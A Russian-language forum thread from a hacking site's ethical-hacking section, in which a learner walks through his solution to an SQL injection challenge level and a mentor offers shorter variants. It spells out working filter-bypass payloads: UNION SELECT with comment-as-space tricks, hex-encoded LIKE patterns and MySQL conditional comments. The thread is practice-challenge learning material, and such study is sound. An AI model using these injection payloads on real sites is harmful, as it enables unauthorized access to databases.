HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Этичный хакинг или пентестинг
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 23.08.2019, 21:04
iBragimoff
Познающий
Регистрация: 17.08.2019
Сообщений: 83
С нами: 3548433

Репутация: 0
По умолчанию

Предыдущая статья - ссылочка
Следующая статья: Давайте учиться SQL-инъекциям вместе!
Ссылка на задание: SQL injection challenge

Усё, 7й таск решил. Давайте разбираться, что да как.



Так-с. Что мы имеем. Нам желают удачи и ещё мы знаем, что в столбце login есть подстрока gentoo.
Вдуплял минут 5, что значит подстрока, но потом понял, вот строка: gentoo023, а подстрока в ней gentoo, надеюсь понятно)
И ещё, теперь у нас фильтруются намного больше символов, чем в прошлом задании.

Для начала составим запрос без обхода экранирования символов.

-1 union SELECT * FROM users WHERE login LIKE '%gentoo%'

Давайте разбирать. У нас в запросе новый оператор LIKE, данный оператор позволяет искать текст по шаблону.
LIKE '%gentoo%', знак % значит любое количество символов: 321gentoo421, в данном случае под % попадают числа 321 и 421.
Вроде бы с запросом разобрались, давайте его преобразовывать.

У нас в запросе присутствуют пробелы и в задании они фильтруются, обходим их таким способом: вместо пробела ставим - /**/

-1/**/union/**/SELECT/**/*/**/FROM/**/users/**/WHERE/**/login/**/LIKE/**/'%gentoo%'#

Теперь давайте преобразуем наш "поиск по шаблону", то есть: '%gentoo%', переводим его в hex(text to hex)
Внимание: переводим в hex формат без апострофов(одинарных кавычек).

%gentoo% - 25 67 65 6e 74 6f 6f 25 - 0x2567656e746f6f25

Заменим шаблон в запросе:

-1/**/union/**/SELECT/**/*/**/FROM/**/users/**/WHERE/**/login/**/LIKE/**/0x2567656e746f6f25#

Готово. Отправляем запрос и получаем доступ к следующему заданию.

Подсказка для следующего задания от нашего сэнсэя explorer`a: blind sql injection, гуглим, ищем, читаем, учимся.
 
Ответить с цитированием

  #2  
Старый 23.08.2019, 23:05
explorer
Новичок
Регистрация: 05.08.2018
Сообщений: 0
С нами: 4091032

Репутация: 0
По умолчанию

Поздравляю! Прогресс виден. Видно, что человек учится.
Есть решение покороче:
-1/**/or/**/login/**/like/**/0x2567656e746f6f25#
или так
/*!-1/**/or/**/login/**/like/**/0x2567656e746f6f25*/

Следующий уровень интереснее, и уже сложнее - за один запрос решить не получится.
 
Ответить с цитированием

  #3  
Старый 23.08.2019, 23:18
iBragimoff
Познающий
Регистрация: 17.08.2019
Сообщений: 83
С нами: 3548433

Репутация: 0
По умолчанию

Цитата:

explorer сказал(а):

Поздравляю! Прогресс виден. Видно, что человек учится.
Есть решение покороче:
-1/**/or/**/login/**/like/**/0x2567656e746f6f25#
или так
/*!-1/**/or/**/login/**/like/**/0x2567656e746f6f25*/

Следующий уровень интереснее, и уже сложнее - за один запрос решить не получится.

Спасибо) Даа. Следующий уровень кардинально отличается от других. Пока, что единственный способ, который я вижу это перебор ложью и истинной, пожалуй поищу ещё.
 
Ответить с цитированием

  #4  
Старый 23.08.2019, 23:20
iBragimoff
Познающий
Регистрация: 17.08.2019
Сообщений: 83
С нами: 3548433

Репутация: 0
По умолчанию

Цитата:

explorer сказал(а):

-1/**/or/**/login/**/like/**/0x2567656e746f6f25#

Ой. Не знал, что оператор LIKE можно использовать вместе с OR. Полезная информация!
 
Ответить с цитированием

  #5  
Старый 23.08.2019, 23:44
explorer
Новичок
Регистрация: 05.08.2018
Сообщений: 0
С нами: 4091032

Репутация: 0
По умолчанию

SQL-инъекции мне нравятся потому что большой простор для размышлений, всегда можно написать много вариантов во всех случаях.
Вот накидал решение ещё более интересное -1||login/*!like*/0x2567656e746f6f25#
 
Ответить с цитированием

  #6  
Старый 23.08.2019, 23:55
iBragimoff
Познающий
Регистрация: 17.08.2019
Сообщений: 83
С нами: 3548433

Репутация: 0
По умолчанию

Цитата:

explorer сказал(а):

-1||login/*!like*/0x2567656e746f6f25#

Интересный вариант решения. Только вот эту строку не могу понять - /*!like*/ . То есть отрицание like внутри комментария, не могу понять логику
 
Ответить с цитированием

  #7  
Старый 24.08.2019, 00:09
explorer
Новичок
Регистрация: 05.08.2018
Сообщений: 0
С нами: 4091032

Репутация: 0
По умолчанию

/*!*/ это условный комментарий в стиле СИ, никакого отрицания тут нет ) зато есть замена пробелу )
В сообщении выше, я уже давал код с примером этого комментария, посмотри внимательнее.
 
Ответить с цитированием

  #8  
Старый 24.08.2019, 00:13
iBragimoff
Познающий
Регистрация: 17.08.2019
Сообщений: 83
С нами: 3548433

Репутация: 0
По умолчанию

Цитата:

explorer сказал(а):

/*!*/ это условный комментарий в стиле СИ, никакого отрицания тут нет ) зато есть замена пробелу )
В сообщении выше, я уже давал код с примером этого комментария, посмотри внимательнее.

Ааа. Понял. Просто из уроков информатики помню, что знак ! означает отрицание)))
 
Ответить с цитированием

  #9  
Старый 24.08.2019, 00:19
explorer
Новичок
Регистрация: 05.08.2018
Сообщений: 0
С нами: 4091032

Репутация: 0
По умолчанию

Цитата:

iBragimoff сказал(а):

Ааа. Понял. Просто из уроков информатики помню, что знак ! означает отрицание)))

Не, в программирование !=это не равноЗдесь нет знака равно. В таких комментах Mysql обязательно выполнит код. Кроме замены пробела, можно использовать и как замена # в конце выражения, ибо шарп не всегда работает. Например написать так:
-1||login/*!like*//*!0x2567656e746f6f25*/

Лучше чем официальный ман конечно же ничего нет. Все функции, операторы и т.д. ищи там. Вот страничка про комменты в mysql
MySQL :: MySQL 5.7 Reference Manual :: 9.6 Comment Syntax
 
Ответить с цитированием

  #10  
Старый 24.08.2019, 00:45
iBragimoff
Познающий
Регистрация: 17.08.2019
Сообщений: 83
С нами: 3548433

Репутация: 0
По умолчанию

Цитата:

explorer сказал(а):

Не, в программирование !=это не равноЗдесь нет знака равно. В таких комментах Mysql обязательно выполнит код. Кроме замены пробела, можно использовать и как замена # в конце выражения, ибо шарп не всегда работает. Например написать так:
-1||login/*!like*//*!0x2567656e746f6f25*/
Спасибо за объяснение)
 
Ответить с цитированием
Ответ



Предыдущая тема Следующая тема

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.